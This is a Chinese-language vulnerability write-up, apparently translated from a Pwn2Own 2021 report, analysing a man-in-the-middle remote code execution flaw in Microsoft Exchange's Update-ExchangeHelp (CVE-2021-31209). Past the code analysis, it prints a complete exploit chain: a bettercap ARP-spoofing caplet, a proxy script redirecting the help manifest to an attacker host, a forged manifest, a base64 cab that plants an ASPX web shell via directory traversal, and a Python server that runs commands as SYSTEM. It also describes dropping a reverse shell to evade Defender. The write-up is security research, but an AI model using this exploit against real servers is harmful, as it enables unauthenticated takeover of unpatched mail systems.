Exchange Server 中間人劫持 RCE 漏洞分析
Pwn2Own Vancouver 2021:: Microsoft Exchange Server 遠程代碼執行
2020 年 11 月中旬,我在 Microsoft Exchange Server 中發現了一個邏輯遠程代碼執行漏洞,該漏洞有一個奇怪的轉折——它需要在觸發之前進行中間人攻擊(MiTM) 。我發現這個錯誤是因為我正在尋找調用 以WebClient.DownloadFile
希望發現服務器端請求偽造漏洞,因為在交換服務器內的某些環境中,這種類型的漏洞可能會產生巨大影響。后來,我發現SharePoint Server也受到本質上相同的代碼模式的影響。
漏洞摘要
當管理用戶在 Exchange 命令行管理程序中運行Update-ExchangeHelp
或者Update-ExchangeHelp -Force
命令時,處於特權網絡位置的未經身份驗證的攻擊者(例如 MiTM 攻擊)可以觸發遠程執行代碼漏洞。
漏洞分析
在Microsoft.Exchange.Management.dll
文件中,定義了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand
類:
protected override void InternalProcessRecord()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
ex = this.helpUpdater.UpdateHelp(); // 1
}
//...
在[1] 處,代碼調用HelpUpdater.UpdateHelp
方法。在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater
類內部,我們看到:
internal UpdatableExchangeHelpSystemException UpdateHelp()
{
double num = 90.0;
UpdatableExchangeHelpSystemException result = null;
this.ProgressNumerator = 0.0;
if (this.Cmdlet.Force || this.DownloadThrottleExpired())
{
try
{
this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string path = this.LocalTempBase + "UpdateHelp.$$$\\";
this.CleanDirectory(path);
this.EnsureDirectory(path);
HelpDownloader helpDownloader = new HelpDownloader(this);
helpDownloader.DownloadManifest(); // 2
這個函數執行一些操作。第一個是在[2]調用DownloadManifest
時。讓我們來看看Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest
:
internal void DownloadManifest()
{
string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
if (!this.helpUpdater.Cmdlet.Abort)
{
this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted)); // 3
}
}
在[3]處,代碼ManifestUrl
調用AsyncDownloadFile
。當從InternalValidate
調用LoadConfiguration
方法時設置ManifestUrl
:
protected override void InternalValidate()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
this.helpUpdater.LoadConfiguration(); // 4
}
internal void LoadConfiguration()
{
//...
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
if (registryKey3 == null)
{
registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
try
{
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString(); // 5
在[4]處代碼在驗證 cmdlet 的參數時調用 LoadConfiguration
。這將 ManifestUrl
設置為http://go.microsoft.com/fwlink/p/?LinkId=287244
如果它不存在於注冊表單元中:HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
(在[5]處)。默認情況下,它不會這樣做,所以值總是http://go.microsoft.com/fwlink/p/?LinkId=287244
。
回到[3]的AsyncDownloadFile
,這個方法將使用WebClient.DownloadFileAsync
API用於將文件下載到文件系統中。因為我們無法控制本地文件路徑,所以這里沒有vuln。稍后在UpdateHelp中,我們會看到以下代碼:
//...
if (!this.Cmdlet.Abort)
{
UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
if (updatableHelpVersionRange != null)
{
double num2 = 20.0;
this.ProgressNumerator = 10.0;
this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
if (array.Length != 0) // 7
{
this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl); // 8
if (this.Cmdlet.Abort)
{
return result;
}
this.ProgressNumerator += num2;
this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
helpInstaller.ExtractToTemp(); // 9
//...
這里有很多東西需要解釋。在[6]上,代碼搜索下載的清單文件,以查找特定的版本或版本范圍,並確保Exchange服務器的版本在該范圍內。檢查還確保新的修訂號高於當前的修訂號。如果滿足了這些要求,那么代碼將繼續執行[7],在這里檢查區域性。因為我的目標是英語語言包,所以我將它設置為en
,以便以后可以構造一個有效的路徑。然后在[8]下載並存儲cabineturl
。這是xml清單文件中指定的.cab文件。
最后在[9],使用Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp
方法提取cab文件:
internal int ExtractToTemp()
{
this.filesAffected = 0;
this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
bool embedded = false;
string filter = "";
int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded); // 10
this.cabinetFiles = new Dictionary<string, List<string>>();
this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
this.filesAffected = result;
return result;
}
在[10]處Microsoft.Exchange.CabUtility.dll
調用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles
,這是一個混合模式程序集,包含本地代碼,使用導出的ExtractCab函數提取cab文件。不幸的是,該解析器在提取文件以驗證文件是否包含目錄遍歷之前不注冊回調函數。這允許我將任意文件寫入任意位置。
利用
文件寫入漏洞並不一定意味着遠程執行代碼,但在web應用程序的環境中,這種情況經常發生。我在Pwn2Own提出的攻擊會寫入C:/inetpub/wwwroot/aspnet_client目錄,這允許我向shell發出http請求,以SYSTEM的身份執行任意代碼,而不需要身份驗證。
讓我們回顧一下設置,以便我們能直觀地看到攻擊過程。
設置
第一步將要求您對目標系統執行ARP欺騙。在這個階段,我選擇使用bettercap,它允許您定義可以自動操作的caplets。我記得我上次有針對性的MiTM攻擊是12年前的事了!這是我poc.cap
文件,該文件設置了ARP欺騙和代理腳本,攔截和響應特定的http請求:
set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on
poc.js
文件是我編寫的代理腳本,用於攔截目標請求並將其重定向到位於http://192.168.0.56:8000/poc.xml的攻擊者宿主配置文件。
function onLoad() { log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability") log_info("Found by Steven Seeley of Source Incite")}function onRequest(req, res) { log_info("(+) triggering mitm"); var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query; if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){ res.Status = 302; res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml"); }}
這個poc.xml
清單文件包含承載惡意cab文件的CabinetUrl
,以及更新的目標版本范圍:
<ExchangeHelpInfo> <HelpVersions> <HelpVersion> <Version>15.2.1.1-15.2.999.9</Version> <Revision>1</Revision> <CulturesUpdated>en</CulturesUpdated> <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl> </HelpVersion> </HelpVersions></ExchangeHelpInfo>
我將manifest和poc.cab
文件傳遞過程打包到一個小型python http服務器poc.py中,該服務器也將嘗試訪問poc.aspx
文件,並以SYSTEM的形式執行命令:
import sysimport base64import urllib3import requestsfrom threading import Threadfrom http.server import HTTPServer, SimpleHTTPRequestHandlerurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class CabRequestHandler(SimpleHTTPRequestHandler): def log_message(self, format, *args): return def do_GET(self): if self.path.endswith("poc.xml"): print("(+) delivering xml file...") xml = """<ExchangeHelpInfo> <HelpVersions> <HelpVersion> <Version>15.2.1.1-15.2.999.9</Version> <Revision>%s</Revision> <CulturesUpdated>en</CulturesUpdated> <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl> </HelpVersion> </HelpVersions></ExchangeHelpInfo>""" % (r, s) self.send_response(200) self.send_header('Content-Type', 'application/xml') self.send_header("Content-Length", len(xml)) self.end_headers() self.wfile.write(str.encode(xml)) elif self.path.endswith("poc.cab"): print("(+) delivering cab file...") # created like: makecab /d "CabinetName1=poc.cab" /f files.txt # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx" # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA" stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290" stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM" stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA==" p = base64.b64decode(stage_2.encode('utf-8')) self.send_response(200) self.send_header('Content-Type', 'application/x-cab') self.send_header("Content-Length", len(p)) self.end_headers() self.wfile.write(p) returnif __name__ == '__main__': if len(sys.argv) != 5: print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0]) print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0]) print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0]) sys.exit(-1) t = sys.argv[1] s = sys.argv[2] port = 8000 r = sys.argv[3] c = sys.argv[4] print("(+) server bound to port %d" % port) print("(+) targeting: %s using cmd: %s" % (t, c)) httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler) handlerthr = Thread(target=httpd.serve_forever, args=()) handlerthr.daemon = True handlerthr.start() p = { "c" : "/c %s" % c } try: while 1: req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False) if req.status_code == 200: break print("(+) executed %s as SYSTEM!" % c) except KeyboardInterrupt: pass
在每次攻擊嘗試中,修訂號都需要增加,因為代碼將把該值寫入到注冊表中,並在下載manifest文件后,將在繼續下載和提取cab文件之前驗證文件是否包含更高的修訂號。
繞過Windows Defender
執行mspaint
是很酷的,但是對於Pwn2Own,我們需要一個繞過 Defender的shell。在Orange Tsai泄露了他的代理登錄漏洞的細節后,微軟決定嘗試檢測asp.net web shell。所以我采用了與Orange不同的方法:編譯一個自定義二進制文件,執行一個反向shell,並將其放到磁盤上,然后執行它來繞過Defender。
攻擊樣例
我們首先使用poc.cap
caplet 文件運行 Bettercap :
researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.capbettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands][12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)
現在我們 ping 目標(更新目標緩存的 Arp 表)並運行poc.py
並等待管理用戶運行Update-ExchangeHelp
或Update-ExchangeHelp -Force
在 Exchange 管理控制台 (EMC) 中運行(如果在最近24小時內執行過Update-ExchangeHelp
命令,則必須執行-Force
命令):
researcher@pluto:~/poc-exchange$ ./poc.py (+) usage: ./poc.py <target> <connectback> <revision> <cmd>(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint(+) server bound to port 8000(+) targeting: 192.168.0.142 using cmd: mspaint(+) delivering xml file...(+) delivering cab file...(+) executed mspaint as SYSTEM!
結論
這不是第一次在 Pwn2Own 上使用 MiTM 攻擊,很高興找到一個與比賽中其他研究人員沒有沖突的漏洞。這只能通過尋找新的媒介和/或表面來尋找 Exchange Server 中的漏洞才能實現。邏輯漏洞總是很有趣,因為它幾乎總是意味着被利用,而這些相同的問題很難用傳統的自動化工具發現。有人認為,所有網絡漏洞實際上都是合乎邏輯的。即使是基於 Web 的注入漏洞,因為它們不需要操作內存,並且可以臨時重復攻擊。
此漏洞在 Exchange 服務器中的影響非常大,因為 EMC 通過 PS-Remoting 連接到配置為以 SYSTEM 身份運行的 IIS 服務。對於 SharePoint 命令行管理程序 (SMS) 直接影響的 SharePoint Server,情況並非如此,在用戶運行 SMS 時實現代碼執行。
Microsoft 將此問題修補為CVE-2021-31209,如果您尚未部署該補丁,我們建議您立即部署。